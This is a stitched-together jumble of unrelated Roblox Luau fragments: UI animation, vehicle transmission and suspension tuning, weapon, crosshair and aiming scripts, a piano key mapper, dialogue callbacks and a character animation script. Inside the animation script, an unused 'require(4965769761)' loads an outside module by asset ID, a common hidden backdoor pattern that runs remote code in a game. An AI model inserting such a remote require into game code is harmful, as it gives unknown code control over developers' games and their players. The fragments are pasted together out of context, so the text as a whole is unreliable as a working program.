methods:FadeInText(duration) self.AnimParams.Text_TargetTransparency = 0.4 self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) end function methods:AnimGuiObjects() self.GuiObject.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency self.GuiObjects.TextBoxFrame.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency self.GuiObjects.TextLabel.TextTransparency = self.AnimParams.Text_CurrentTransparency self.GuiObjects.TextBox.TextTransparency = self.AnimParams.Text_CurrentTransparency self.GuiObjects.MessageModeTextButton.TextTransparency = self.AnimParams.Text_CurrentTransparency end function methods:InitializeAnimParams() self.AnimParams.Text_TargetTransparency = 0.4 self.AnimParams.Text_CurrentTransparency = 0.4 self.AnimParams.Text_NormalizedExptValue = 1 self.AnimParams.Background_TargetTransparency = 0.6 self.AnimParams.Background_CurrentTransparency = 0.6 self.AnimParams.Background_NormalizedExptValue = 1 end function methods:Update(dtScale) self.AnimParams.Text_CurrentTransparency = CurveUtil:Expt( self.AnimParams.Text_CurrentTransparency, self.AnimParams.Text_TargetTransparency, self.AnimParams.Text_NormalizedExptValue, dtScale ) self.AnimParams.Background_CurrentTransparency = CurveUtil:Expt( self.AnimParams.Background_CurrentTransparency, self.AnimParams.Background_TargetTransparency, self.AnimParams.Background_NormalizedExptValue, dtScale ) self:AnimGuiObjects() end function methods:SetChannelNameColor(channelName, channelNameColor) self.ChannelNameColors[channelName] = channelNameColor if self.GuiObjects.MessageModeTextButton.Text == channelName then self.GuiObjects.MessageModeTextButton.TextColor3 = channelNameColor end end function methods:GetChannelNameColor(channelName) return self.ChannelNameColors[channelName] end
--[[UIS.InputBegan:Connect(function(input) if input.KeyCode == Enum.KeyCode.F and equippedLantern == false then character.Humanoid:EquipTool(player.Backpack.Lantern) script.Parent.Parent.Parent.Parent.ItemFrame.Visible = true script.Parent.Parent.Parent.Parent.ItemFrame.ImageLabel.Image = player.Character.Lantern.TextureId equippedLantern = true end end) UIS.InputBegan:Connect(function(input) if input.KeyCode == Enum.KeyCode.F and equippedLantern == true then character.Humanoid:UnequipTools() script.Parent.Parent.Parent.Parent.ItemFrame.Visible = false equippedLantern = false end end)]]
-- 5/27/2018 --
sp = script.Parent run = game:GetService("RunService") run.RenderStepped:Connect(function() sp.Rotation = sp.Rotation + 1 end)
-- // Preloader
contentProvider:PreloadAsync(assets)
------------------------------- --Init -------------------------------
CreateMotor() WeldToObject(PARENTMODEL.MovingParts:GetChildren(), PARENTMODEL.Motors.MotorBlock1)
-- ROBLOX deviation: upstream type is incorrect, as returned function takes a parameter in reconcileChildrenIterator()
exports.getIteratorFn = function(maybeIterable): nil | (...any) -> Iterator<any> if typeof(maybeIterable) == "table" then -- ROBLOX deviation: Upstream understands that portal objects are not -- iterable; we need to check explicitly if maybeIterable["$$typeof"] == exports.REACT_PORTAL_TYPE then return nil end return function() local currentKey: any, currentValue: any return { next = function() currentKey, currentValue = next(maybeIterable, currentKey) return { done = currentValue == nil, -- deviation: To support Roact's table-keys-as-stable-keys feature, -- we need the iterator to return the key as well key = currentKey, value = currentValue, } end, } end end return nil end return exports
-- Attention: If you put the speed too high, it may lag your map. Even if you reset it, sadly.
--[=[ Observes the children with a specific name. @param parent Instance @param className string @param name string @return Observable<Brio<Instance>> ]=]
function RxInstanceUtils.observeChildrenOfNameBrio(parent, className, name) assert(typeof(parent) == "Instance", "Bad parent") assert(type(className) == "string", "Bad className") assert(type(name) == "string", "Bad name") return Observable.new(function(sub) local topMaid = Maid.new() local function handleChild(child) if not child:IsA(className) then return end local maid = Maid.new() local function handleNameChanged() if child.Name == name then local brio = Brio.new(child) maid._brio = brio sub:Fire(brio) else maid._brio = nil end end maid:GiveTask(child:GetPropertyChangedSignal("Name"):Connect(handleNameChanged)) handleNameChanged() topMaid[child] = maid end topMaid:GiveTask(parent.ChildAdded:Connect(handleChild)) topMaid:GiveTask(parent.ChildRemoved:Connect(function(child) topMaid[child] = nil end)) for _, child in pairs(parent:GetChildren()) do handleChild(child) end return topMaid end) end
-- Functions --
local function playSoundLocal(sId,sParent) local sound = Instance.new("Sound",sParent) sound.SoundId = "http://www.roblox.com/asset/?id="..sId sound:Play() sound:Destroy() end local function onClicked(player) print(player.Name.." clicked on Uniform Giver") playSoundLocal(152206246,player) -- Declaring the sound ID and Parent local foundShirt = player.Character:FindFirstChild("Shirt") -- Tries to find Shirt if not foundShirt then -- if there is no shirt print("No shirt found, creating for "..player.Name) local newShirt = Instance.new("Shirt",player.Character) newShirt.Name = "Shirt" else if foundShirt then -- if there is a shirt print("Shirt found, reconstructing for "..player.Name) player.Character.Shirt:remove() local newShirt = Instance.new("Shirt",player.Character) newShirt.Name = "Shirt" end end local foundPants = player.Character:FindFirstChild("Pants") -- Tries to find Pants if not foundPants then -- if there are no pants print("No pants found, creating for "..player.Name) local newPants = Instance.new("Pants",player.Character) newPants.Name = "Pants" else if foundPants then -- if there are pants print("Pants found, reconstructing for "..player.Name) player.Character.Pants:remove() local newPants = Instance.new("Pants",player.Character) newPants.Name = "Pants" end end player.Character.Shirt.ShirtTemplate = shirtId player.Character.Pants.PantsTemplate = pantsId end
-- Define the jump scale for the buttons
local jumpScale = 1.2
--------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------------------------------------- -- Local Variables
local Tool = script.Parent local Handle = Tool.Handle local MouseEvent = Tool.MouseEvent local FirePointObject = Handle.GunFirePoint local FastCast = require(Tool.FastCastRedux) local FireSound = Handle.Fire local ImpactParticle = Handle.ImpactParticle local Debris = game:GetService("Debris") local Players = game:GetService("Players") local table = require(Tool.FastCastRedux.Table) local PartCacheModule = require(Tool.PartCache) local CanFire = true -- Used for a cooldown. local RNG = Random.new() -- Set up a randomizer. local TAU = math.pi * 2 -- Set up mathematical constant Tau (pi * 2) FastCast.DebugLogging = DEBUG FastCast.VisualizeCasts = DEBUG
--[[Transmission]]
Tune.Clutch = true -- Implements a realistic clutch, change to "false" for the chassis to act like AC6.81T. Tune.TransModes = {"Auto","Semi","Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] Tune.ClutchMode = "New" --[[ [Modes] "New" : Speed controls clutch engagement (AC6C V1.2) "Old" : Speed and RPM control clutch engagement (AC6C V1.1) ]] Tune.ClutchType = "Clutch" --[[ [Types] "Clutch" : Standard clutch, recommended "TorqueConverter" : Torque converter, keeps RPM up "CVT" : CVT, found in scooters ]] --[[Transmission]] --Transmission Settings Tune.Stall = true -- Stalling, enables the car to stall. An ignition plugin would be necessary. Disables if Tune.Clutch is false. Tune.ClutchRel = false -- If true, the driver must let off the gas before shifting to a higher gear. Recommended false for beginners. Tune.ClutchEngage = 10 -- How fast engagement is (0 = instant, 99 = super slow) Tune.SpeedEngage = 20 -- Speed the clutch fully engages at (Based on SPS) Tune.ClutchKick = true -- (LuaInt) Tune.KickMult = 15 -- Torque multiplier on launch Tune.KickSpeedThreshold = 40 -- Speed limit on launch (SPS) Tune.KickRPMThreshold = 1000 -- RPM limit on launch, range is created below redline --Clutch: "Old" mode Tune.ClutchRPMMult = 1.0 -- Clutch RPM multiplier, recommended to leave at 1.0 --Torque Converter: Tune.TQLock = false -- Torque converter starts locking at a certain RPM --Torque Converter and CVT: Tune.RPMEngage = 3500 -- Keeps RPMs to this level until passed --Neutral Rev Limiter (Avxnturador) Tune.NeutralLimit = false -- Enables a different redline RPM for when the car is in neutral Tune.NeutralRevRPM = 5000 -- The rev limiter when the car is in neutral Tune.LimitClutch = false -- Will also limit RPMs while the clutch is pressed down --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoShiftType = "DCT" --[[ [Types] "Rev" : Clutch engages fully once RPM reached (AC6C V1) "DCT" : Clutch engages after a set time has passed (AC6.81T) ]] Tune.AutoShiftVers = "New" --[[ [Versions] "New" : Shift from Reverse, Neutral, and Drive (AC6.81T) "Old" : Auto shifts into R or D when stopped. (AC6.52S2) ]] Tune.AutoUpThresh = -200 -- Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 -- Automatic downshift point (relative to peak RPM, positive = Under-rev) --Automatic: Revmatching Tune.ShiftThrot = 100 -- Throttle level when shifting down to revmatch, 0 - 100% --Automatic: DCT Tune.ShiftUpTime = 0.25 -- Time required to shift into next gear, from a lower gear to a higher one. Tune.ShiftDnTime = 0.125 -- Time required to shift into next gear, from a higher gear to a lower one. --Gear Ratios Tune.FinalDrive = 3.545 Tune.Ratios = { --[[Reverse]] 3.28 , --[[Neutral]] 0 , --[[ 1 ]] 3.827 , --[[ 2 ]] 2.36 , --[[ 3 ]] 1.685 , --[[ 4 ]] 1.313 , --[[ 5 ]] 1 , --[[ 6 ]] .793 , } Tune.FDMult = 1 -- Ratio multiplier (keep this at 1 if car is not struggling with torque)
--[[Engine]]
-- [TORQUE CURVE VISUAL] -- https://www.desmos.com/calculator/nap6stpjqf -- Use sliders to manipulate values -- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo. Tune.Horsepower = 450 Tune.IdleRPM = 600 Tune.PeakRPM = 7200 Tune.Redline = 9000 Tune.EqPoint = 5500 Tune.PeakSharpness = 3.2 Tune.CurveMult = 1.2 Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Turbo Settings Tune.Aspiration = "Double" --[[ [Aspiration] "Natural" : N/A, Naturally aspirated engine "Single" : Single turbocharger "Double" : Twin turbocharger ]] Tune.Boost = 8 --Max PSI per turbo (If you have two turbos and this is 15, the PSI will be 30) Tune.TurboSize = 25 --Turbo size; the bigger it is, the more lag it has. Tune.CompressRatio = 9 --The compression ratio (look it up) --Misc Tune.RevAccel = 155 -- RPM acceleration when clutch is off Tune.RevDecay = 35 -- RPM decay when clutch is off Tune.RevBounce = 400 -- RPM kickback from redline Tune.IdleThrottle = 5 -- Percent throttle at idle Tune.ClutchTol = 5 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
--------LEFT DOOR --------
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.secondary.Value)
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.Milk
--[=[ Gets and sets the maximum acceleration. @prop a number @within AccelTween ]=]
---------------------------------- ------------FUNCTIONS------------- ----------------------------------
function UnDigify(digit) if digit < 1 or digit > 61 then return "" elseif digit == 1 then return "1" elseif digit == 2 then return "!" elseif digit == 3 then return "2" elseif digit == 4 then return "@" elseif digit == 5 then return "3" elseif digit == 6 then return "4" elseif digit == 7 then return "$" elseif digit == 8 then return "5" elseif digit == 9 then return "%" elseif digit == 10 then return "6" elseif digit == 11 then return "^" elseif digit == 12 then return "7" elseif digit == 13 then return "8" elseif digit == 14 then return "*" elseif digit == 15 then return "9" elseif digit == 16 then return "(" elseif digit == 17 then return "0" elseif digit == 18 then return "q" elseif digit == 19 then return "Q" elseif digit == 20 then return "w" elseif digit == 21 then return "W" elseif digit == 22 then return "e" elseif digit == 23 then return "E" elseif digit == 24 then return "r" elseif digit == 25 then return "t" elseif digit == 26 then return "T" elseif digit == 27 then return "y" elseif digit == 28 then return "Y" elseif digit == 29 then return "u" elseif digit == 30 then return "i" elseif digit == 31 then return "I" elseif digit == 32 then return "o" elseif digit == 33 then return "O" elseif digit == 34 then return "p" elseif digit == 35 then return "P" elseif digit == 36 then return "a" elseif digit == 37 then return "s" elseif digit == 38 then return "S" elseif digit == 39 then return "d" elseif digit == 40 then return "D" elseif digit == 41 then return "f" elseif digit == 42 then return "g" elseif digit == 43 then return "G" elseif digit == 44 then return "h" elseif digit == 45 then return "H" elseif digit == 46 then return "j" elseif digit == 47 then return "J" elseif digit == 48 then return "k" elseif digit == 49 then return "l" elseif digit == 50 then return "L" elseif digit == 51 then return "z" elseif digit == 52 then return "Z" elseif digit == 53 then return "x" elseif digit == 54 then return "c" elseif digit == 55 then return "C" elseif digit == 56 then return "v" elseif digit == 57 then return "V" elseif digit == 58 then return "b" elseif digit == 59 then return "B" elseif digit == 60 then return "n" elseif digit == 61 then return "m" else return "?" end end function IsBlack(note) if note%12 == 2 or note%12 == 4 or note%12 == 7 or note%12 == 9 or note%12 == 11 then return true end end local orgins = {} if script.Parent.Keys:FindFirstChild("Keys") then for i,v in pairs(script.Parent.Keys.Keys:GetChildren()) do orgins[v.Name] = {v.Position,v.Orientation} end else for i,v in pairs(script.Parent.Keys:GetChildren()) do if v:IsA("Model") then for a,b in pairs(v:GetChildren()) do orgins[v.Name] = {b.Position,b.Orientation} end end end end function AnimateKey(note1,px,py,pz,ox,oy,oz,Time) pcall(function() local obj = script.Parent.Keys.Keys:FindFirstChild(note1) if obj then local Properties = {} local OrginP = orgins[obj.Name][1] local OrginO = orgins[obj.Name][2] local changep = OrginP - Vector3.new(px,py,pz) local changeo = OrginO - Vector3.new(ox,oy,oz) Properties.Position = Vector3.new(obj.Position.x, changep.Y, changep.Z) Properties.Orientation = changeo Tween(obj,Properties,Time,Enum.EasingStyle.Linear) Properties = {} Properties.Position = Vector3.new(obj.Position.x,OrginP.y,OrginP.z) Properties.Orientation = OrginO Tween(obj,Properties,Time,Enum.EasingStyle.Linear) else print(note1..' was not found, or you do not have the correct configuration for the piano keys') end end) end
-- PROPERTIES
IconController.topbarEnabled = true IconController.controllerModeEnabled = false IconController.previousTopbarEnabled = checkTopbarEnabled() IconController.leftGap = 12 IconController.midGap = 12 IconController.rightGap = 12 IconController.leftOffset = 0 IconController.rightOffset = 0 IconController.voiceChatEnabled = nil IconController.mimicCoreGui = true IconController.healthbarDisabled = false IconController.activeButtonBCallbacks = 0 IconController.disableButtonB = false IconController.translator = localizationService:GetTranslatorForPlayer(localPlayer)
--Made by Luckymaxer
Figure = script.Parent RunService = game:GetService("RunService") Creator = Figure:FindFirstChild("Creator") Humanoid = Figure:WaitForChild("Humanoid") Head = Figure:WaitForChild("Head") Torso = Figure:WaitForChild("Torso") Neck = Torso:WaitForChild("Neck") LeftShoulder = Torso:WaitForChild("Left Shoulder") RightShoulder = Torso:WaitForChild("Right Shoulder") LeftHip = Torso:WaitForChild("Left Hip") RightHip = Torso:WaitForChild("Right Hip") for i, v in pairs({--[[Neck, ]]LeftShoulder, RightShoulder, LeftHip, RightHip}) do if v and v.Parent then v.DesiredAngle = 0 v.CurrentAngle = 0 end end Pose = "None" LastPose = Pose PoseTime = tick() ToolAnimTime = 0 function SetPose(pose) LastPose = Pose Pose = pose PoseTime = tick() end function OnRunning(Speed) if Speed > 0 then SetPose("Running") else SetPose("Standing") end end function OnDied() SetPose("Dead") end function OnJumping() SetPose("Jumping") end function OnClimbing() SetPose("Climbing") end function OnGettingUp() SetPose("GettingUp") end function OnFreeFall() SetPose("FreeFall") end function OnFallingDown() SetPose("FallingDown") end function OnSeated() SetPose("Seated") end function OnPlatformStanding() SetPose("PlatformStanding") end function OnSwimming(Speed) return OnRunning(Speed) end function MoveJump() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder.DesiredAngle = 0.5 LeftShoulder.DesiredAngle = -0.5 RightHip.DesiredAngle = -0.5 LeftHip.DesiredAngle = 0.5 end function MoveFreeFall() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder.DesiredAngle = 0.5 LeftShoulder.DesiredAngle = -0.5 RightHip.DesiredAngle = -0.5 LeftHip.DesiredAngle = 0.5 end function MoveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder.DesiredAngle = (math.pi / 2) LeftShoulder.DesiredAngle = -(math.pi / 2) RightHip.DesiredAngle = 1 LeftHip.DesiredAngle = -1 end function GetTool() for i, v in pairs(Figure:GetChildren()) do if v:IsA("Tool") then return v end end end function GetToolAnim(Tool) for i, v in pairs(Tool:GetChildren()) do if v:IsA("StringValue") and v.Name == "ToolAnim" then return v end end return nil end local Animator = require(4965769761) function AnimateTool() if (ToolAnim == "None") then return end if (ToolAnim == "Slash") then RightShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = 0 return end if (ToolAnim == "Lunge") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightHip.MaxVelocity = 0.5 LeftHip.MaxVelocity = 0.5 RightShoulder.DesiredAngle = (math.pi / 2) LeftShoulder.DesiredAngle = 0 RightHip.DesiredAngle = (math.pi / 2) LeftHip.DesiredAngle = 1 return end end function Move(Time) local LimbAmplitude local LimbFrequency local NeckAmplitude local NeckFrequency local NeckDesiredAngle if (Pose == "Jumping") then MoveJump() return elseif (Pose == "FreeFall") then MoveFreeFall() return elseif (Pose == "Seated") then MoveSit() return end local ClimbFudge = 0 if (Pose == "Running") then RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 LimbAmplitude = 1 LimbFrequency = 9 NeckAmplitude = 0 NeckFrequency = 0 NeckDesiredAngle = 0 --[[if Creator and Creator.Value and Creator.Value:IsA("Player") and Creator.Value.Character then local CreatorCharacter = Creator.Value.Character local CreatorHead = CreatorCharacter:FindFirstChild("Head") if CreatorHead then local TargetPosition = CreatorHead.Position local Direction = Torso.CFrame.lookVector local HeadPosition = Head.Position NeckDesiredAngle = ((((HeadPosition - TargetPosition).Unit):Cross(Direction)).Y / 4) end end]] elseif (Pose == "Climbing") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 LimbAmplitude = 1 LimbFrequency = 9 NeckAmplitude = 0 NeckFrequency = 0 NeckDesiredAngle = 0 ClimbFudge = math.pi else LimbAmplitude = 0.1 LimbFrequency = 1 NeckAmplitude = 0.25 NeckFrequency = 1.25 end NeckDesiredAngle = ((not NeckDesiredAngle and (NeckAmplitude * math.sin(Time * NeckFrequency))) or NeckDesiredAngle) LimbDesiredAngle = (LimbAmplitude * math.sin(Time * LimbFrequency)) --Neck.DesiredAngle = NeckDesiredAngle RightShoulder.DesiredAngle = (LimbDesiredAngle + ClimbFudge) LeftShoulder.DesiredAngle = (LimbDesiredAngle - ClimbFudge) RightHip.DesiredAngle = -LimbDesiredAngle LeftHip.DesiredAngle = -LimbDesiredAngle local Tool = GetTool() if Tool then AnimStringValueObject = GetToolAnim(Tool) if AnimStringValueObject then ToolAnim = AnimStringValueObject.Value if AnimStringValueObject and AnimStringValueObject.Parent then AnimStringValueObject:Destroy() end ToolAnimTime = (Time + 0.3) end if Time > ToolAnimTime then ToolAnimTime = 0 ToolAnim = "None" end AnimateTool() else ToolAnim = "None" ToolAnimTime = 0 end end Humanoid.Died:connect(OnDied) Humanoid.Running:connect(OnRunning) Humanoid.Jumping:connect(OnJumping) Humanoid.Climbing:connect(OnClimbing) Humanoid.GettingUp:connect(OnGettingUp) Humanoid.FreeFalling:connect(OnFreeFall) Humanoid.FallingDown:connect(OnFallingDown) Humanoid.Seated:connect(OnSeated) Humanoid.PlatformStanding:connect(OnPlatformStanding) Humanoid.Swimming:connect(OnSwimming) Humanoid:ChangeState(Enum.HumanoidStateType.None) RunService.Stepped:connect(function() local _, Time = wait(0.1) Move(Time) end)
--==================================================
local function Enablerx2(Hit) if Enabled and Hit and Hit.Parent then local AmmoRefilled = false local Player = game.Players:GetPlayerFromCharacter(Hit.Parent) if Player then for _, GunName in pairs(GunToRefillAmmo) do local Gun = Player.Backpack:FindFirstChild(GunName) or Player.Character:FindFirstChild(GunName) if Gun then local GunScript = Gun:FindFirstChild("GunScript_Server") local Module = Gun:FindFirstChild("Setting") if GunScript and Module then local Module = require(Module) if GunScript.Ammo.Value < Module.MaxAmmo and Module.LimitedAmmoEnabled then Enabled = false AmmoRefilled = true local ChangedAmmo = (Ammo == math.huge or GunScript.Ammo.Value+Ammo >= Module.Ammo) and Module.Ammo or (GunScript.Ammo.Value + Ammo) GunScript.Ammo.Value = ChangedAmmo GunScript.ChangeMagAndAmmo:FireClient(Player,Module.AmmoPerMag,ChangedAmmo) end end end end end if AmmoRefilled then AmmoBox:Destroy() end end end AmmoBox.Touched:connect(Enablerx2)
-- Call updateWalkSpeed once to set initial walk speed
updateWalkSpeed()
-- type TestFn = (done?: Global.DoneFn) => Promise<any> | void | undefined;
type GlobalCallback = (testName: string, fn: Global_ConcurrentTestFn, timeout: number?) -> ()
--// F key, HornOn
mouse.KeyDown:connect(function(key) if key=="h" then veh.Lightbar.middle.Airhorn:Play() veh.Lightbar.middle.Wail.Volume = 1 veh.Lightbar.middle.Yelp.Volume = 1 veh.Lightbar.middle.Priority.Volume = 1 veh.Lightbar.HORN.Transparency = 0 end end)
----- Locales -----
local Button = script.Parent local Player = game:GetService("Players").LocalPlayer local Inventory = Player.Inventory local QuantityText = Button.Variables.QuantityText local LocalInformationText = script.Parent.SkinData.Description local LocalCaseInformationText = script.Parent.SkinData.Case local Image = Button.UI.SkinImage
--// Damage Settings
BaseDamage = 49; -- Torso Damage LimbDamage = 42; -- Arms and Legs ArmorDamage = 42; -- How much damage is dealt against armor (Name the armor "Armor") HeadDamage = 73; -- If you set this to 100, there's a chance the player won't die because of the heal script
-- Now with exciting TeamColors HACK!
function waitForChild(parent, childName) local child = parent:findFirstChild(childName) if child then return child end while true do child = parent.ChildAdded:wait() if child.Name==childName then return child end end end
--OMGHAX mouseclick
local last_click = 0 script.Parent.MouseClick.Changed:connect(function() if time() - last_click < 0.3 then anim = "homerun" last_click = time() HomeRun() else anim = "norm" last_click = time() Whack() end end)
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 300 -- Spring Dampening Tune.FSusStiffness = 4000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2.5 -- Suspension length (in studs) Tune.FPreCompress = .5 -- Pre-compression adds resting length force Tune.FExtensionLim = .5 -- Max Extension Travel (in studs) Tune.FCompressLim = 2 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 8 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.5 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 300 -- Spring Dampening Tune.RSusStiffness = 4000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2.5 -- Suspension length (in studs) Tune.RPreCompress = .5 -- Pre-compression adds resting length force Tune.RExtensionLim = .5 -- Max Extension Travel (in studs) Tune.RCompressLim = 2 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 8 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.5 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = false -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
--edit the below function to execute code when this response is chosen OR this prompt is shown --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) plrData.Money.Gold.Value = plrData.Money.Gold.Value - 40 -- TODO track sale for dissertation plrData.Classes.Base.Misc.MercenaryCarry.Value = true end
-- conecta as funções aos eventos da NumberValue
numValue.Changed:Connect(function() updateTextLabel() animateTextLabel() end)
-- Listen for chat messages
game:GetService("Chat").Chatted:Connect(function(chat, message) if message:lower() == "respawn" then local player = getPlayerFromChat(chat) if player then player:LoadCharacter() -- Respawn the player end end end) print("Hello world!")
-- Constants
local Local_Player = PlayersService.LocalPlayer local Neck_CFrame = CFrame.new( Vector3.new(0, 0.8,0) ) local Waist_CFrame = CFrame.new( Vector3.new(0, 0.2, 0) ) local Left_Upper_Arm_CFrame = CFrame.new( Vector3.new(-0.6, 0.8, 0) ) local Right_Upper_Arm_CFrame = CFrame.new( Vector3.new(0.6, 0.8, 0) )
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) if plrData.Money.Gold.Value > 10 then return true end return false end
--Crosshair module
local crosshair = {} crosshair.crossscale = Physics.spring.new(0) crosshair.crossscale.s = 10 crosshair.crossscale.d = 0.8 crosshair.crossscale.t = 1 crosshair.crossspring = Physics.spring.new(0) crosshair.crossspring.s = 12 crosshair.crossspring.d = 0.65 local function updatecross() local size = crosshair.crossspring.p*4*crosshair.crossscale.p --*(char.speed/14*(1-0.8)*2+0.8)*(char.sprint+1)/2 for i = 1, 4 do CrossParts[i].BackgroundTransparency = 1-size/20 end CrossParts[1].Position = UDim2.new(0,size,0,0) CrossParts[2].Position = UDim2.new(0,-size-7,0,0) CrossParts[3].Position = UDim2.new(0,0,0,size) CrossParts[4].Position = UDim2.new(0,0,0,-size-7) end function crosshair:setcrossscale(scale) crosshair.crossscale.t = scale end function crosshair:setcrosssize(size) crosshair.crossspring.t = size end function crosshair:setcrosssettings(size,speed,damper) crosshair.crossspring.t = size crosshair.crossspring.s = speed crosshair.crossspring.d = damper end game:GetService("RunService").RenderStepped:connect(function() updatecross() end) return crosshair
-- aiming
GUI.MobileButtons.AimButton.MouseButton1Click:connect(function() if not Reloading and not HoldDown and AimDown == false and Equipped == true and Module.IronsightEnabled and (Character.Head.Position - Camera.CoordinateFrame.p).magnitude <= 1 then TweeningService:Create(Camera, TweenInfo.new(Module.TweenLength, Module.EasingStyle, Module.EasingDirection), {FieldOfView = Module.FieldOfViewIS}):Play() CrosshairModule:setcrossscale(Module.CrossScaleIS) --[[local GUI = game:GetService("Players").LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") or Tool.ZoomGui:Clone() GUI.Parent = game:GetService("Players").LocalPlayer.PlayerGui]] --Scoping = false game:GetService("Players").LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson UserInputService.MouseDeltaSensitivity = InitialSensitivity * Module.MouseSensitiveIS AimDown = true elseif not Reloading and not HoldDown and AimDown == false and Equipped == true and Module.SniperEnabled and (Character.Head.Position - Camera.CoordinateFrame.p).magnitude <= 1 then TweeningService:Create(Camera, TweenInfo.new(Module.TweenLength, Module.EasingStyle, Module.EasingDirection), {FieldOfView = Module.FieldOfViewS}):Play() CrosshairModule:setcrossscale(Module.CrossScaleS) --[[local GUI = game:GetService("Players").LocalPlayer.PlayerGui:FindFirstChild("ZoomGui") or Tool.ZoomGui:Clone() GUI.Parent = game:GetService("Players").LocalPlayer.PlayerGui]] local zoomsound = GUI.Scope.ZoomSound:Clone() zoomsound.Parent = Player.PlayerGui zoomsound:Play() Scoping = true 